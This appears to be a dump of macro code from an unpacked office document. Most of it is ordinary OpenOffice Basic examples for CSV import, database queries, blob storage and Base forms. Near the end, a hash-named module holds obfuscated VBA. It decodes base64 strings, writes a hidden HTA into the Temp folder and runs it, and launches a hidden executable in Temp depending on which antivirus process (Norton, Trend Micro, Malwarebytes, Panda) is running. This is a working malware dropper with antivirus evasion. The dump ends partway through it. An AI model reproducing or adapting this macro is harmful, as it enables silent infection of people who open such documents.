| End If | |
| REM Assume that there is a header line! | |
| AppendProperty(oParms(), "Extension", sExt) | |
| AppendProperty(oParms(), "HeaderLine", True) | |
| AppendProperty(oParms(), "FieldDelimiter", ",") | |
| AppendProperty(oParms(), "StringDelimiter", """") | |
| AppendProperty(oParms(), "DecimalDelimiter", ".") | |
| AppendProperty(oParms(), "ThousandDelimiter", ",") | |
| oCon = oManager.getConnectionWithInfo(sURL, oParms()) | |
| oDoc = InspectMetaData(oCon.getMetaData()) | |
| oStatement = oCon.CreateStatement() | |
| sSQL = "SELECT * FROM " & DBQuoteName(sFile, oCon) | |
| oResult = oStatement.executeQuery(sSQL) | |
| ResultSetToData(oResult, oDoc, "SELECT *", oData1()) | |
| AppendDataToCalcDoc(oDoc, oData1()) | |
| oCon.close() | |
| End Sub | |
| Sub ReadFixedWidthFile() | |
| Dim sFileName$ 'The base file name. | |
| Dim n As Integer 'The file number. | |
| Dim i As Integer 'General index variable. | |
| Dim s As String 'Temporary string. | |
| Dim sURLInitial$ 'URL of the CSV file. | |
| Dim sURLCalc$ 'URL of the Calc document. | |
| Dim sOut() 'Output text initially written to the CSV file. | |
| Dim oManager 'Connection driver manager. | |
| Dim oCon 'Connection object. | |
| Dim sSQL$ 'SQL that is executed. | |
| Dim oResult 'Result from an SQL statement. | |
| Dim oStatement 'A created statement that can execute SQL. | |
| Dim oDoc 'Calc document used to read the fixed width data. | |
| Dim oParms() As New com.sun.star.beans.PropertyValue | |
| REM First, create the following text file: | |
| REM Date Name Number | |
| REM 01/01/05Danny Bot 17 | |
| REM 12/25/99Shelly Girt13 | |
| REM 03/13/65Fred Krank 7 | |
| sOut() = Array("Date Name Number", _ | |
| "01/01/05Danny Bot 17", _ | |
| "12/25/99Shelly Girt13", _ | |
| "03/13/65Fred Krank 7 ") | |
| sFileName = "delme1" | |
| sURLInitial = GetSourceCodeDir() & sFileName & ".csv" | |
| n = FreeFile() 'Next free file number | |
| REM Open for read/write | |
| Open sURLInitial For Output Access Read Write As #n | |
| For i = 0 To UBound(sOut()) | |
| Print #n, sOut(i) | |
| Next | |
| Close #n | |
| REM Open the fixed width text file into a Calc document. | |
| AppendProperty(oParms(), _ | |
| "FilterName", "Text - txt - csv (StarCalc)") | |
| AppendProperty(oParms(), "FilterOptions", "FIX,34,0,1,0/3/8/2/19/10") | |
| oDoc = StarDesktop.LoadComponentFromUrl(sURLInitial, "_blank", _ | |
| 0, oParms()) | |
| REM Save the document as a Calc document! | |
| ReDim oParms() | |
| AppendProperty(oParms(), "Overwrite", "True") | |
| sURLCalc = GetSourceCodeDir() & sFileName & ".ods" | |
| oDoc.storeAsURL(sURLCalc, oParms()) | |
| REM Delete the initial fixed width file. | |
| Kill(sURLInitial) | |
| REM Write the file as a comma delimited text file. Notice that only the | |
| REM text columns contain the double quote text delimiter. | |
| REM "Date","Name","Number" | |
| REM 01/01/2005,"Danny Bot",17 | |
| REM 12/25/1999,"Shelly Girt",13 | |
| REM 03/13/1965,"Fred Krank",7 | |
| ReDim oParms() | |
| AppendProperty(oParms(), _ | |
| "FilterName", "Text - txt - csv (StarCalc)") | |
| AppendProperty(oParms(), "FilterOptions", "44,34,0,1,1/1/2/2/3/10") | |
| oDoc.storeAsURL(sURLInitial, oParms()) | |
| oDoc.close(True) | |
| oManager = CreateUnoService("com.sun.star.sdbc.DriverManager") | |
| REM Open the CSV file. | |
| REM Notice that I the header line is ignored. | |
| REM If the header line is NOT ignored, then all | |
| REM columns are recognized as type VarChar. | |
| ReDim oParms() | |
| AppendProperty(oParms(), "Extension", "csv") | |
| AppendProperty(oParms(), "HeaderLine", True) | |
| AppendProperty(oParms(), "FieldDelimiter", ",") | |
| AppendProperty(oParms(), "StringDelimiter", """") | |
| AppendProperty(oParms(), "DecimalDelimiter", ".") | |
| AppendProperty(oParms(), "ThousandDelimiter", ",") | |
| oCon = oManager.getConnectionWithInfo("sdbc:flat:" & _ | |
| sURLInitial, oParms()) | |
| oStatement = oCon.CreateStatement() | |
| sSQL = "SELECT * FROM " & DBQuoteName(sFileName, oCon) | |
| oResult = oStatement.executeQuery(sSQL) | |
| Do While oResult.next() | |
| s = s & "CSV File: Date = " & _ | |
| CStr(UNODateToDate(oResult.getDate(1))) & _ | |
| " Name = '" & oResult.getString(2) & "'" & _ | |
| " Number = " & CStr(oResult.getLong(3)) & CHR$(10) | |
| Loop | |
| oCon.close() | |
| oCon = oManager.getConnection("sdbc:calc:" & sURLCalc) | |
| oStatement = oCon.CreateStatement() | |
| sSQL = "SELECT * FROM " & DBQuoteName(sFileName, oCon) | |
| oResult = oStatement.executeQuery(sSQL) | |
| s = s & CHR$(10) | |
| Do While oResult.next() | |
| s = s & "Calc File: Date = " & _ | |
| CStr(UNODateToDate(oResult.getDate(1))) & _ | |
| " Name = '" & oResult.getString(2) & "'" & _ | |
| " Number = " & CStr(oResult.getLong(3)) & CHR$(10) | |
| Loop | |
| oCon.close() | |
| MsgBox s, 0, "Data from the flat file" | |
| REM Delete the created files. | |
| Kill(sURLCalc) | |
| Kill(sURLInitial) | |
| End Sub | |
| Sub InspectOutlookAddress() | |
| Dim oManager 'Connection driver manager. | |
| Dim oCon 'Connection object. | |
| Dim sSQL$ 'SQL that is executed. | |
| Dim oResult 'Result from an SQL statement. | |
| Dim oStatement 'A created statement that can execute SQL. | |
| Dim s$ 'General string variable. | |
| Dim nCount& | |
| oManager = CreateUnoService("com.sun.star.sdbc.DriverManager") | |
| oCon = oManager.getConnection("sdbc:address:outlook:") | |
| oStatement = oCon.CreateStatement() | |
| sSQL = "SELECT " & DBQuoteName("First Name", oCon) & ", " &_ | |
| DBQuoteName("Last Name", oCon) & ", " & _ | |
| DBQuoteName("E-mail", oCon) & " FROM " & _ | |
| DBQuoteName("OP Contacts", oCon) | |
| oResult = oStatement.executeQuery(sSQL) | |
| REM Limit the returned values to 50! | |
| nCount = 0 | |
| Do While oResult.next() AND nCount < 50 | |
| s = s & oResult.getString(1) & " " & oResult.getString(2) & _ | |
| " ==> " & oResult.getString(3) & CHR$(10) | |
| Loop | |
| MsgBox s, 0, "Public e-mail" | |
| oCon.close() | |
| End Sub | |
| Sub InsertImage(sDBURL$, sFileURL$) | |
| Dim sFileName$ 'File to save in the database. | |
| Dim oData() 'Array of bytes. | |
| Dim lLen As Long 'Number of bytes in the file. | |
| Dim oDB 'Database object. | |
| Dim oStream | |
| Dim oSimpleFileAccess | |
| Dim oBaseContext | |
| Dim oStatement | |
| Dim sSQL$ | |
| Dim oCon | |
| Dim s$ | |
| If NOT FileExists(sFileURL) Then | |
| Print "Sorry, " & sFileURL & " does not exist" | |
| Exit Sub | |
| End If | |
| If NOT FileExists(sDBURL) Then | |
| CreateBinaryDB(sDBURL, True) | |
| End If | |
| CreateBinaryTables(sDBURL, False, False) | |
| REM Load the Tools library | |
| If NOT GlobalScope.BasicLibraries.isLibraryLoaded("Tools") Then | |
| GlobalScope.BasicLibraries.LoadLibrary("Tools") | |
| End If | |
| REM Call methods in the Tools library to parse the path. | |
| sFileName = FileNameOutOfPath(sFileURL, "/") | |
| oBaseContext = CreateUnoService("com.sun.star.sdb.DatabaseContext") | |
| oDB = oBaseContext.getByName(sDBURL) | |
| oCon = oDB.getConnection("", "") | |
| s$ = "com.sun.star.ucb.SimpleFileAccess" | |
| oSimpleFileAccess = createUnoService(s$) | |
| oStream = oSimpleFileAccess.openFileRead(sFileURL) | |
| REM Get the total length and then dimension the array. | |
| lLen = oStream.getLength() | |
| ReDim oData(0 To lLen-1) | |
| oStream.readBytes(oData(), lLen) | |
| REM Use a prepared statement to insert the data. | |
| REM Notice that I do not set the ID because it is | |
| REM an auto-value field. | |
| sSQL = "insert into BINDATA (NAME, DATA) values (?, ?)" | |
| oStatement = oCon.PrepareStatement(sSQL) | |
| oStatement.SetString( 1, sFileName) | |
| REM I should be able to simply use the stream | |
| REM but there is a bug that prevents this. Too bad! | |
| 'oStatement.setBinaryStream(2, oStream, oStream.getLength()) | |
| oStatement.setBytes(2, oData(), lLen) | |
| oStatement.ExecuteUpdate() | |
| oStream.closeInput() | |
| Print "Inserted " & sFileName | |
| oCon.close() | |
| End Sub | |
| Sub ExtractBinaryFile(sPathURL$, sDBURL$) | |
| Dim sFileName$ 'File to save from the database. | |
| Dim oDB 'Database object. | |
| Dim oStream | |
| Dim oSimpleFileAccess | |
| Dim oBaseContext | |
| Dim oStatement | |
| Dim oResult | |
| Dim sSQL$ | |
| Dim oCon | |
| Dim sURL$ | |
| Dim s$ | |
| If NOT FileExists(sDBURL) Then | |
| Print "The DB does not exist, sorry" | |
| Exit Sub | |
| End If | |
| oBaseContext = CreateUnoService("com.sun.star.sdb.DatabaseContext") | |
| oDB = oBaseContext.getByName(sDBURL) | |
| oCon = oDB.getConnection("", "") | |
| oStatement = oCon.createStatement() | |
| sSQL = "SELECT NAME FROM BINDATA ORDER BY NAME" | |
| oResult = oStatement.executeQuery(sSQL) | |
| sFileName = SelItemFromResult(oResult, 1, 100) | |
| If sFileName = "" Then | |
| oCon.close() | |
| Exit Sub | |
| End If | |
| sSQL = "SELECT DATA FROM BINDATA WHERE NAME='" & sFileName & "'" | |
| oResult = oStatement.executeQuery(sSQL) | |
| If Not IsNull(oResult) Then | |
| oResult.next() | |
| REM I could get a byte array, but this is easier. | |
| oStream = oResult.getBinaryStream(1) | |
| If oResult.wasNull() Then | |
| Print "The image was NULL" | |
| Else | |
| 'Print "Servicename = " & oResultSet.getColumns().getByName("IMAGE").ServiceName | |
| s = "com.sun.star.ucb.SimpleFileAccess" | |
| oSimpleFileAccess = createUnoService(s) | |
| sURL = sPathURL & sFileName | |
| If FileExists(sURL) Then | |
| sURL = ChooseAFile$(GraphicFilters(), False, sURL) | |
| End If | |
| If sURL <> "" Then | |
| oSimpleFileAccess.writeFile(sURL, oStream) | |
| Print "Wrote " & sURL | |
| End If | |
| End If | |
| End If | |
| oCon.close() | |
| End Sub | |
| Sub UseSelectLimit(Optional dbURL$ = "") | |
| Dim sTableName$ 'The name of the table to creat. | |
| Dim oTable 'A table in the database. | |
| Dim oTables 'Tables in the document | |
| Dim oTableDescriptor 'Defines a table and how it looks. | |
| Dim oCols 'The columns for a table. | |
| Dim oCol 'A single column descriptor. | |
| Dim oCon 'Database connection. | |
| Dim oBaseContext 'Database context service. | |
| Dim oDB 'Database data source. | |
| Dim oStatement | |
| Dim sSQL$ | |
| If dbURL = "" Then dbURL = ChooseAFile(OOoBaseFilters(), False) | |
| If dbURL = "" Then Exit Sub | |
| CreateBinaryDB(dbURL$, False) | |
| REM Use the DatabaseContext to get a reference to the database. | |
| oBaseContext = CreateUnoService("com.sun.star.sdb.DatabaseContext") | |
| oDB = oBaseContext.getByName(dbURL) | |
| oCon = oDB.getConnection("", "") | |
| oTables = oCon.getTables() | |
| sTableName$ = "DATA" | |
| If oTables.hasByName(sTableName$) Then | |
| oTables.dropByName(sTableName) | |
| oDB.DatabaseDocument.store() | |
| End If | |
| REM For now, this should always be True | |
| If NOT oTables.hasByName(sTableName$) Then | |
| oTableDescriptor = oTables.createDataDescriptor() | |
| oTableDescriptor.Name = sTableName$ | |
| oCols = oTableDescriptor.getColumns() | |
| oCol = oCols.createDataDescriptor() | |
| oCol.Name = "ID" | |
| oCol.Type = com.sun.star.sdbc.DataType.INTEGER | |
| oCol.IsNullable = com.sun.star.sdbc.ColumnValue.NO_NULLS | |
| oCol.IsAutoIncrement = True | |
| oCol.Precision = 10 | |
| oCol.Description = "Primary Key" | |
| oCols.appendByDescriptor(oCol) | |
| oCol.Name = "NAME" | |
| oCol.Type = com.sun.star.sdbc.DataType.VARCHAR | |
| oCol.Description = "Filename" | |
| oCol.Precision = 255 | |
| oCol.IsAutoIncrement = False | |
| oCols.appendByDescriptor(oCol) | |
| oTables.appendByDescriptor(oTableDescriptor) | |
| End If | |
| sSQL = "insert into DATA (NAME) values (?)" | |
| oStatement = oCon.PrepareStatement(sSQL) | |
| Dim x() | |
| Dim i% | |
| x() = Array("zero", "one", "two", "three", "four", _ | |
| "five", "six", "seven", "eight", "nine", "ten") | |
| For i = LBound(x()) To UBound(x()) | |
| oStatement.SetString( 1, x(i)) | |
| oStatement.ExecuteUpdate() | |
| Next | |
| oStatement = oCon.CreateStatement() | |
| Dim s$ | |
| Dim oResult | |
| For i = 0 To 4 Step 4 | |
| sSQL = "select LIMIT " & i & " 4 * from DATA" | |
| oResult = oStatement.executeQuery(sSQL) | |
| Do While oResult.next() | |
| s = s & "LIMIT " & i & " 4 Yields " & oResult.getString(1) & _ | |
| " " & oResult.getString(2) & CHR$(10) | |
| Loop | |
| Next | |
| MsgBox s | |
| REM Do not dispose the database context or you will NOT be able to | |
| REM get it back without restarting OpenOffice.org. | |
| REM Store the associated document to persist the changes to disk. | |
| oDB.DatabaseDocument.store() | |
| oCon.close() | |
| End Sub | |
| Sub ChooseAndOpenFormInDB(sDBURL$) | |
| Dim oDoc | |
| Dim oForms | |
| Dim sFormName$ | |
| Dim s$ | |
| REM Find the database document and open it if required. | |
| oDoc = FindComponentWithURL(sDBURL$, True) | |
| If IsNULL(oDoc) OR IsEmpty(oDoc) Then | |
| Print "The document was not found" | |
| Exit Sub | |
| End If | |
| REM Choose a form to open! | |
| oForms = oDoc.getFormDocuments() | |
| If oForms.getCount() < 1 Then | |
| Print "The database contains no forms" | |
| ElseIf oForms.getCount() = 1 Then | |
| REM If there is ONLY one form, then open the one form! | |
| Dim x() | |
| x() = oForms.getElementNames() | |
| sFormName = x(0) | |
| Else | |
| s$ = "Choose A Form To Open" | |
| sFormName = DialogSelectItem(oForms.getElementNames(), s$) | |
| End If | |
| If sFormName = "" Then Exit Sub | |
| OpenFormInDB1(sDBURL$, sFormName$) | |
| End Sub | |
| Function OpenFormInDB2(sDBURL$, sFormName$) | |
| Dim oDBDoc 'The database document that contains the form. | |
| Dim oFormDef 'com.sun.star.sdb.DocumentDefinition of the form. | |
| Dim oFormDocs 'The form documents container. | |
| Dim oFormDoc 'The actual form document. | |
| Dim oBaseContext 'Global database context service. | |
| Dim oDataBase 'Database obtained from the database context. | |
| Dim oCon 'Database connection. | |
| Dim oParms() As New com.sun.star.beans.PropertyValue | |
| REM Find the database document and open it if required. | |
| oDBDoc = FindComponentWithURL(sDBURL$, True) | |
| If IsNULL(oDBDoc) OR IsEmpty(oDBDoc) Then | |
| Print "The document was not found" | |
| Exit Function | |
| End If | |
| oFormDocs = oDBDoc.getFormDocuments() | |
| If NOT oFormDocs.hasByName(sFormName) Then | |
| Print "The database does not have a form named " & sFormName | |
| Exit Function | |
| End If | |
| oFormDef = oDBDoc.getFormDocuments().getByName(sFormName) | |
| oBaseContext = CreateUnoService("com.sun.star.sdb.DatabaseContext") | |
| oDataBase = oBaseContext.getByName(sDBURL) | |
| 'oCon = oDataBase.getConnection("", "") | |
| AppendProperty(oParms(), "ActiveConnection", oCon) | |
| Dim identifier as Long | |
| identifier = oFormDef.createCommandIdentifier() | |
| Dim UcbCommand as new com.sun.star.ucb.Command | |
| UcbCommand.Name = "openDesign" 'Or "open" or "openForMail" | |
| Dim Arguments as new com.sun.star.ucb.OpenCommandArgument2 | |
| Arguments.Mode = com.sun.star.ucb.OpenMode.DOCUMENT | |
| UcbCommand.Argument = Arguments | |
| Dim environment as Object | |
| oFormDoc = oFormDef.execute( UcbCommand, identifier, environment ) | |
| OpenFormInDB2() = oFormDoc | |
| End Function | |
| Function OpenFormInDB1(sDBURL$, sFormName$) | |
| Dim oDBDoc 'The database document that contains the form. | |
| Dim oFormDef 'com.sun.star.sdb.DocumentDefinition of the form. | |
| Dim oFormDocs 'The form documents container. | |
| Dim oFormDoc 'The actual form document. | |
| Dim oCon 'Database connection. | |
| Dim oParms() As New com.sun.star.beans.PropertyValue | |
| Dim oBaseContext 'Global database context service. | |
| Dim oDataBase 'Database obtained from the database context. | |
| REM Find the database document and open it if required. | |
| oDBDoc = FindComponentWithURL(sDBURL$, True) | |
| If IsNULL(oDBDoc) OR IsEmpty(oDBDoc) Then | |
| Print "The document was not found" | |
| Exit Function | |
| End If | |
| oFormDocs = oDBDoc.getFormDocuments() | |
| If NOT oFormDocs.hasByName(sFormName) Then | |
| Print "The database does not have a form named " & sFormName | |
| Exit Function | |
| End If | |
| oFormDef = oDBDoc.getFormDocuments().getByName(sFormName) | |
| REM Without this, the form opens and then disappears! | |
| REM This is a bug that will hopefully be fixed in OOo version 2.0.1. | |
| REM oDummyFormDef is defined in the main module. | |
| oDummyFormDef = oFormDef | |
| oBaseContext = CreateUnoService("com.sun.star.sdb.DatabaseContext") | |
| oDataBase = oBaseContext.getByName(sDBURL) | |
| oCon = oDataBase.getConnection("", "") | |
| REM OpenMode is rumored to support "open", "openDesign", | |
| REM and "openForMail" | |
| AppendProperty(oParms(), "OpenMode", "open") | |
| AppendProperty(oParms(), "ActiveConnection", oCon) | |
| oFormDoc = oFormDocs.loadComponentFromURL(sFormName, "", 0, oParms()) | |
| OpenFormInDB1() = oFormDoc | |
| REM If you close the connection, then the form loses its connection. | |
| REM The requirement of an Active connection should be removed, | |
| REM hopefully in version 2.0.1. | |
| REM This really looks like a resource leak, but I have not checked. | |
| REM oCon.close() | |
| End Function | |
| Function OpenFormInDBNoView(sDBURL$, sFormName$) | |
| Dim oDBDoc 'The database document that contains the form. | |
| Dim oFormDef 'com.sun.star.sdb.DocumentDefinition of the form. | |
| Dim oFormDocs 'The form documents container. | |
| Dim oFormDoc 'The actual form document. | |
| Dim oCon 'Database connection. | |
| Dim oParms() As New com.sun.star.beans.PropertyValue | |
| Dim oBaseContext 'Global database context service. | |
| Dim oDataBase 'Database obtained from the database context. | |
| oBaseContext = CreateUnoService("com.sun.star.sdb.DatabaseContext") | |
| oDataBase = oBaseContext.getByName(sDBURL) | |
| If IsNULL(oDataBase) OR IsEmpty(oDataBase) Then | |
| Print "The database was not found" | |
| Exit Function | |
| End If | |
| oDBDoc = oDataBase.DatabaseDocument | |
| oFormDef = oDBDoc.getFormDocuments().getByName(sFormName) | |
| oDummyFormDef = oFormDef | |
| oFormDocs = oDBDoc.getFormDocuments() | |
| If NOT oFormDocs.hasByName(sFormName) Then | |
| Print "The database does not have a form named " & sFormName | |
| Exit Function | |
| End If | |
| oCon = oDataBase.getConnection("", "") | |
| AppendProperty(oParms(), "OpenMode", "open") | |
| AppendProperty(oParms(), "ActiveConnection", oCon) | |
| oFormDoc = oFormDocs.loadComponentFromURL(sFormName, "", 0, oParms()) | |
| OpenFormInDBNoView() = oFormDoc | |
| End Function | |
| Sub CreateFormBad(sDBURL$, sFormName$) | |
| Dim oDBDoc 'The database document that contains the form. | |
| Dim oFormDef 'com.sun.star.sdb.DocumentDefinition of the form. | |
| Dim oFormDocs 'The form documents container. | |
| Dim oFormDoc 'The actual form document. | |
| Dim oCon 'Database connection. | |
| Dim oParms() As New com.sun.star.beans.PropertyValue | |
| Dim oBaseContext 'Global database context service. | |
| Dim oDataBase 'Database obtained from the database context. | |
| Dim s$ | |
| oBaseContext = CreateUnoService("com.sun.star.sdb.DatabaseContext") | |
| oDataBase = oBaseContext.getByName(sDBURL) | |
| oDBDoc = oDataBase.DatabaseDocument | |
| oCon = oDataBase.getConnection("", "") | |
| AppendProperty(oParms(), "Name", sFormName) | |
| AppendProperty(oParms(), "ActiveConnection", oCon) | |
| s = "com.sun.star.sdb.DocumentDefinition" | |
| oDBDoc.FormDocuments.createInstanceWithArguments( s, oParms() ) | |
| oCon.close() | |
| End Sub | |
| Sub AddBinForm(sDBURL$, sTableName$) | |
| Dim oDoc 'Newly created Form document | |
| Dim oDrawPage 'Draw page for the form document. | |
| Dim s$ 'Generic temporary string variable. | |
| Dim oDBDoc 'The Base database document. | |
| Dim sDBName$ 'Name portion from sDBURL. | |
| Dim sFormURL$ 'URL where the temporary form is stored. | |
| Dim oFormDocs 'Form documents in the Base document. | |
| Dim sFormName$ 'Form name as stored in the Baes form documents. | |
| Dim oDocDef 'Document defition of the form stored in Base. | |
| Dim oDBForm | |
| Dim NoArgs() As new com.sun.star.beans.PropertyValue | |
| Dim oProps(2) as new com.sun.star.beans.PropertyValue | |
| REM Create a new document for the form. | |
| s$ = "private:factory/swriter" | |
| oDoc = StarDesktop.LoadComponentFromURL(s$, "_default", 0, NoArgs()) | |
| REM The form will in edit mode, rather than design mode, by default. | |
| oDoc.ApplyFormDesignMode = False | |
| Dim oViewSettings | |
| oViewSettings = oDoc.CurrentController.ViewSettings | |
| oViewSettings.ShowTableBoundaries = False | |
| oViewSettings.ShowOnlineLayout = True | |
| REM Get the document's draw page and force the top level form to | |
| REM exist and be named "Standard". | |
| oDrawPage = oDoc.DrawPage | |
| If oDrawPage.Forms.Count = 0 Then | |
| s$ = "com.sun.star.form.component.Form" | |
| oDBForm = oDoc.CreateInstance(s$) | |
| oDrawpage.Forms.InsertByIndex (0, oDBForm) | |
| Else | |
| oDBForm = oDrawPage.Forms.GetByIndex(0) | |
| End If | |
| oDBForm.Name = "Standard" | |
| REM Cause the form to use the table as a datasource. | |
| oDBForm.DataSourceName = sDBURL | |
| oDBForm.Command = sTableName | |
| oDBForm.CommandType = com.sun.star.sdb.CommandType.TABLE | |
| REM Service names for controls. | |
| Dim sLabel$ : sLabel = "com.sun.star.form.component.FixedText" | |
| Dim oControl 'A control to insert into the form. | |
| Dim oShape 'Control's shape in the draw page. | |
| Dim oLControl 'Label control. | |
| Dim oLShape 'Label control's shape in the draw page. | |
| REM Anchor the controls to paragraphs. | |
| Dim lAnchor As Long | |
| lAnchor = com.sun.star.text.TextContentAnchorType.AT_PARAGRAPH | |
| REM Insert the ID label | |
| oLControl = oDoc.CreateInstance(sLabel$) | |
| oLControl.Label = "ID" | |
| oLControl.Name = "lblID" | |
| oLShape = oDoc.CreateInstance("com.sun.star.drawing.ControlShape") | |
| oLShape.Size = createSize(1222, 443) | |
| oLShape.Position = createPoint(1000, 1104) | |
| oLShape.AnchorType = lAnchor | |
| oLShape.control = oLControl | |
| REM Do not add the label control yet! | |
| REM Insert the ID formatted text field | |
| s$ = "com.sun.star.form.component.FormattedField" | |
| oControl = oDoc.CreateInstance(s$) | |
| oControl.LabelControl = oLControl | |
| oControl.BackgroundColor = 14540253 | |
| oControl.Border = 1 | |
| oControl.DataField = "ID" | |
| oControl.EffectiveMax = 2147483647 | |
| oControl.EffectiveMin = -2147483648 | |
| oControl.EnforceFormat = True | |
| oControl.HideInactiveSelection = True | |
| oControl.Name = "fmtID" | |
| oControl.TreatAsNumber = True | |
| oShape = oDoc.CreateInstance("com.sun.star.drawing.ControlShape") | |
| oShape.Size = createSize(2150, 651) | |
| oShape.Position = createPoint(2522, 1000) | |
| oShape.AnchorType = lAnchor | |
| oShape.control = oControl | |
| oDrawpage.Add(oLShape) | |
| oDrawpage.Add(oShape) | |
| REM Insert the Name label | |
| oLControl = oDoc.CreateInstance(sLabel) | |
| oLControl.Label = "NAME" | |
| oLControl.Name = "lblName" | |
| oLShape = oDoc.CreateInstance("com.sun.star.drawing.ControlShape") | |
| oLShape.Size = createSize(1222, 443) | |
| oLShape.Position = createPoint(1000, 1954) | |
| oLShape.AnchorType = lAnchor | |
| oLShape.control = oLControl | |
| REM Insert the Name text field | |
| s$ = "com.sun.star.form.component.TextField" | |
| oControl = oDoc.CreateInstance(s$) | |
| oControl.BackgroundColor = 14540253 | |
| oControl.Border = 1 | |
| oControl.DataField = "NAME" | |
| oControl.LabelControl = oLControl | |
| oControl.Name = "txtNAME" | |
| oShape = oDoc.CreateInstance("com.sun.star.drawing.ControlShape") | |
| oShape.Size = createSize(8026, 651) | |
| oShape.Position = createPoint(2522, 1850) | |
| oShape.AnchorType = lAnchor | |
| oShape.control = oControl | |
| oDrawpage.Add(oLShape) | |
| oDrawpage.Add(oShape) | |
| REM Add the Image control | |
| s$ = "com.sun.star.form.component.DatabaseImageControl" | |
| oControl = oDoc.CreateInstance(s$) | |
| oControl.BackgroundColor = 14540253 | |
| oControl.Border = 1 | |
| oControl.DataField = "DATA" | |
| oControl.Name = "imgDATA" | |
| oShape = oDoc.CreateInstance("com.sun.star.drawing.ControlShape") | |
| oShape.Size = createSize(10504, 7835) | |
| oShape.Position = createPoint(2522, 3332) | |
| oShape.AnchorType = lAnchor | |
| oShape.control = oControl | |
| oDrawpage.Add(oShape) | |
| REM At this point, we have a Form, which is a Write document. | |
| REM Store the stand alone form to disk. This form is usable as is. | |
| REM Use some methods from the Tools library. | |
| If NOT GlobalScope.BasicLibraries.isLibraryLoaded("Tools") Then | |
| GlobalScope.BasicLibraries.LoadLibrary("Tools") | |
| End If | |
| sDBName = GetFileNameWithoutExtension(sDBURL, "/") | |
| sFormName = "Form_" & sTableName | |
| s$ = DirectoryNameoutofPath(sDBURL, "/") & "/" | |
| sFormURL = s$ & "Form_" & sDBName & "_" & sTableName & ".odt" | |
| REM Store the form to disk and then close the document. | |
| oDoc.StoreAsUrl(sFormUrl, NoArgs()) | |
| oDoc.close(True) | |
| REM Now, convert the form on disk to a document defition and | |
| REM store it in a Base document. | |
| oDBDoc = FindComponentWithURL(sDBURL$, True) | |
| oFormDocs = oDBDoc.getFormDocuments() | |
| If oFormDocs.hasByName(sFormName) Then | |
| Print "Removing " & sFormName & " from the database" | |
| oFormDocs.removeByName(sFormName) | |
| End If | |
| oProps(0).Name = "Name" | |
| oProps(0).Value = sFormName | |
| oProps(1).Name = "Parent" | |
| oProps(1).Value = oFormDocs() | |
| oProps(2).Name = "URL" | |
| oProps(2).Value = sFormUrl | |
| s$ = "com.sun.star.sdb.DocumentDefinition" | |
| oDocDef = oFormDocs.createInstanceWithArguments(s$, oProps()) | |
| oFormDocs.insertbyName(sFormName, oDocDef) | |
| Print "Added " & sFormName & " to the database" | |
| End Sub | |
| </script:module>7141d94e827d3b24810813d6b2e3fb851da0ee2958ef347154bc28153b23874a.unzip\Basic\VBAProject\bcbcbcb.xml | |
| <?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> | |
| <script:module xmlns:script="http://openoffice.org/2000/script" script:name="bcbcbcb" script:language="StarBasic" script:moduleType="normal">Rem Attribute VBA_ModuleType=VBAModule | |
| Option VBASupport 1 | |
| Sub closee() | |
| Dim jddsdfda As String | |
| jddsdfda = UserForm5.TextBox1.Text | |
| Dim yrtfdsad, vcxvxczcv | |
| Dim mbbmbdf | |
| Dim nuchevi | |
| nuchevi = UserForm6.TextBox1.Text | |
| Set wsh = VBA.CreateObject(UserForm1.TextBox1.Text & UserForm4.TextBox1.Text & UserForm2.TextBox1.Text) | |
| Dim lhjxvcvx | |
| lhjxvcvx = StrConv(DecodeBase64(UserForm3.TextBox1.Text), vbUnicode) | |
| Dim kkkdds | |
| kkkdds = StrConv(DecodeBase64("PGh" & "0bWw+DQo8" & "aGVhZD4NCiA8U0NSSVBUIExBTkdVQUdFPSJWQlNjcmlwdCI+DQogICAgICAgICAgV2luZG93Lk1vdmVUbyAtMzIwMDAsIC0zMjAwMA0KICAgICA8L1NDUklQVD4NCiAgICA8dGl0bGU+QXBwbGljYXRpb24gRXhlY3V0ZXI8L3RpdGxlPg0KICAgIDxIVEE6QVBQTElDQVRJT04gSUQ9Im9NeUFwcCIgDQogICAgICAgIEFQUExJQ0FUSU9OTkFNRT0iQXBwbGljYXRpb24gRXhlY3V0ZXIiIA0KICAgICAgICBCT1JERVI9Im5vIg0KICAgICAgICBDQVBUSU9OPSJubyINCiAgICAgICAgU0hPV0lOVEFTS0JBUj0ieWVzIg0KICAgICAgICBTSU5HTEVJTlNUQU5DRT0ieWVzIg0KICAgICAgICBTWVNNRU5VPSJ5ZXMiDQogICAgICAgIFNDUk9MTD0ibm8i"), vbUnicode) | |
| If True = IsExeRunning(jddsdfda) Then | |
| Open Environ("T" & "e" & "m" & "p") & "\1.hta" For Output As #1 | |
| Print #1, kkkdds | |
| Print #1, lhjxvcvx | |
| Close #1 | |
| ChDir Environ("T" & "e" & "m" & "p") | |
| wsh.Run Environ("T" & "e" & "m" & "p") & "\1.hta", 0, False | |
| Exit Sub | |
| End If | |
| If True = IsExeRunning("PS" & "UAM" & "ain" & nuchevi) Then | |
| Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA=="), vbUnicode) & Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & StrConv(DecodeBase64("XDYuZXhl"), vbUnicode), vbHide | |
| Exit Sub | |
| End If | |
| If True = IsExeRunning("n360" & nuchevi) Then | |
| Shell Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & StrConv(DecodeBase64("XDYuZXhl"), vbUnicode), vbHide | |
| Exit Sub | |
| End If | |
| If True = IsExeRunning("PccNT" & nuchevi) Then | |
| Shell Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & StrConv(DecodeBase64("XDYuZXhl"), vbUnicode), vbHide | |
| Exit Sub | |
| End If | |
| If True = IsExeRunning("uiSeAgnt" & nuchevi) Then | |
| Shell Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & StrConv(DecodeBase64("XDYuZXhl"), vbUnicode), vbHide | |
| Exit Sub | |
| End If | |
| If True = IsExeRunning("mbam" & nuchevi) Then | |
| Open Environ("T" & "e" & "m" & "p") & "\1s.bat" For Output As #1 | |
| Print #1, StrConv(DecodeBase64("cGluZyBsb2NhbGhvc3QgLW4gNjA="), vbUnicode), vbHide | |
| Print #1, StrConv(DecodeBase64("c3RhcnQgJXRlbXAlXDYucGlm"), vbUnicode), vbHide | |
| Close | |
| Shell Environ("T" & "e" & "m" & "p") & "\1s.bat", vbHide | |
| Exit Sub | |
| End If | |
